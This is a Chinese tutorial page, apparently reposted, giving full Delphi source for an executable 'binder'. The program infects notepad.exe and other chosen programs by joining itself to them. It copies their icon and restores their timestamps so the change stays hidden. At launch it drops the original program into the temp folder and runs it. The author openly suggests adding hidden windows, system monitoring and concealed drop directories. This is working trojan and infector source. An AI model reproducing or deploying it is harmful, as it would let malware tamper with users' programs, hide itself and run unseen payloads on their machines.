捆绑执行文件新思维(第二版)

13933987166

13933987166

2016-02-19 13:21

get新技能是需要付出行动的,即使看得再多也还是要动手试一试。今天图老师小编跟大家分享的是捆绑执行文件新思维(第二版),一起来学习了解下吧!

  
  最新功能:与其它程序捆绑后,图标为其它程序的图标
  这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
  如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...

(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/bianchengyuyan/)

  程序中几个数字的确定:
  1  在本程序编译后用Aspack.Exe压缩,大小为41472
  2  经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据
     位于从第40752字节开始共640字节,图标后还有81字节

  与其它程序捆绑的过程:
  本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

  怎么找到图标的位置:
  将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制
  编辑软件载入,查找"99 99 99"字符串即可。以后你可为程序加上其它合适的图标。
  十六进制编辑软件:常用UltraEdit。
  本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:
      http://guanbh.top263.net/download/hexedit.exe
  }
  program exe2;

  uses
    classes,
    Tlhelp32,
    windows,
    graphics,
    ShellAPI,
    SysUtils;

  {$R *.RES}
  var
    lppe:TProcessEntry32;
    found:boolean;
    handle:THandle;
    ProcessStr,ExeName:string;
    WinDir:pchar;
  const
    MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

  procedure copy2(s:string);
  var
    s1,s2,IcoStream:TMemoryStream;
    File2:TFilestream;
    ch:array[0..1] of char;
    ss:string;
    filetime,fhandle:integer;
    l:integer;
    File2Icon:Ticon;
  begin
    {若文件s不存在}
    if FileExists(s)=False then exit;
    try
      {若文件不含图标,就不捆绑}
      File2Icon:=Ticon.Create;
      l:=extracticon(handle,pchar(s),0);
      if l=0 then
      begin
        File2Icon.Free;
        exit;
      end
      else
      begin
         {提取被捆绑程序图标}
         File2Icon.Handle:=extracticon(handle,pchar(s),0);
         IcoStream:=TMemoryStream.Create;
         File2Icon.SaveToStream(IcoStream);
         File2Icon.Free;
      end;
      {判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}
      File2:=TFilestream.Create(s,fmopenread);
      if File2.SizeMySize then
      begin
        File2.Position:=MySize;
        File2.Read(ch,2);
        ss:=copy(ch,1,2);
        if ss='MZ' then
        begin
          File2.Free;
          exit;
        end;
      end;
      File2.Free;
      {将本文件与文件s合并 本文件+s=s}
      s2:=TMemoryStream.Create;
      s2.loadfromfile(ExeName);
      s1:=TMemoryStream.Create;
      {
      加入本程序的前部40751字节
      第40752字节开始共640字节为图标数据
      !!以下数字 40751,81要根据实际情况修改!!
       }
      s1.copyfrom(s2,40751);
      {将图标换为被捆绑程序图标,图标大小为766}
      IcoStream.Position:=126;
      s1.CopyFrom(IcoStream,640);
      IcoStream.Free;
      s2.Position:=40751+640;
      {加入本程序的后部81字节}
      s1.CopyFrom(s2,81);
      s2.clear;
      s2.loadfromfile(s);
      s1.seek(s1.size,soFromBeginning);
      {加入被捆绑程序全部}
      s1.copyfrom(s2,s2.size);
      s2.free;
      {得到文件s的日期}
      fhandle:=FileOpen(s, fmOpenread);
      filetime:=filegetdate(fhandle);
      fileclose(fhandle);
      s1.SaveToFile(s);
      {恢复文件s的日期}
      fhandle:=FileOpen(s, fmOpenwrite);
      filesetdate(fhandle,filetime);
      fileclose(fhandle);
      s1.free;
    except end;
  end;

(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/bianchengyuyan/)

  procedure CreateFileAndRun;
  var
    s1,s2:TMemoryStream;
    TempDir:pchar;
    cmdstr:string;
    a:integer;
  Begin
    s1:=TMemoryStream.Create;
    s1.loadfromfile(ExeName);
    if s1.Size=MySize then
    begin
      s1.Free;
      exit;
    end;
    s1.seek(MySize,soFromBeginning);
    s2:=TMemoryStream.Create;
    s2.copyfrom(s1,s1.Size-MySize);
    GetMem(TempDir,255);
    GetTempPath(255,TempDir);
    try
      {
      把文件释放到临时目录。
      如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,
      如 c:windows(or winnt)d...(☆这是个什么目录?你去研究研究吧!☆)
      }
      s2.SaveToFile(TempDir+''+ExtractFileName(ExeName));
    except end;
      cmdstr:='';
      a:=1;
      while ParamStr(a)'' do begin
        cmdstr:=cmdstr+ParamStr(a)+' ';
        inc(a);
      end;
    {运行真正的程序文件}
    winexec(pchar(TempDir+''+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
    freemem(TempDir);
    s2.free;
    s1.free;
  end;

  begin
    GetMem(WinDir,255);
    GetWindowsDirectory(WinDir,255);
    ExeName:=ParamStr(0);
    handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
    found:=Process32First(handle,lppe);
    ProcessStr:='';
    while found do
    begin
      ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
      found:=Process32Next(handle,lppe);
    end;
    {如果notepad没运行,就与它捆在一起}
    if pos(WinDir+'otepad.exe',ProcessStr)=0 then
    begin
      copy2(WinDir+'otepad.exe');
    end;
    {其它需要捆绑的文件
    if pos(...,ProcessStr)=0 then
    begin
      copy2(...);
    end;
    ...
    }
    freemem(WinDir);
    {
    你想用这个程序干点其它的什么...
    }
    CreateFileAndRun;{释放文件并带参数运行}
  end.
  

展开更多 50%)
分享

猜你喜欢

捆绑执行文件新思维(第二版)

编程语言 网络编程
捆绑执行文件新思维(第二版)

linux 安装常见的 FAQ 问题 (第二版)

Linux Linux命令 Linux安装 Linux编程 Linux桌面 Linux软件 Linux内核 Linux管理
linux 安装常见的 FAQ 问题 (第二版)

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

《虐杀原形》素材编辑工具第二版使用教程

电脑网络
《虐杀原形》素材编辑工具第二版使用教程

增加可执行文件的搜寻路径

windows 操作系统
增加可执行文件的搜寻路径

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

VONAI非主流效果二版详解

PS PS基础 ps平面设计教程 ps去水印教程
VONAI非主流效果二版详解

泛型编程与设计新思维

C语言教程 C语言函数
泛型编程与设计新思维

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

优化大师磁盘文件管理

优化大师磁盘文件管理

TextFile读写

TextFile读写
下拉加载更多内容 ↓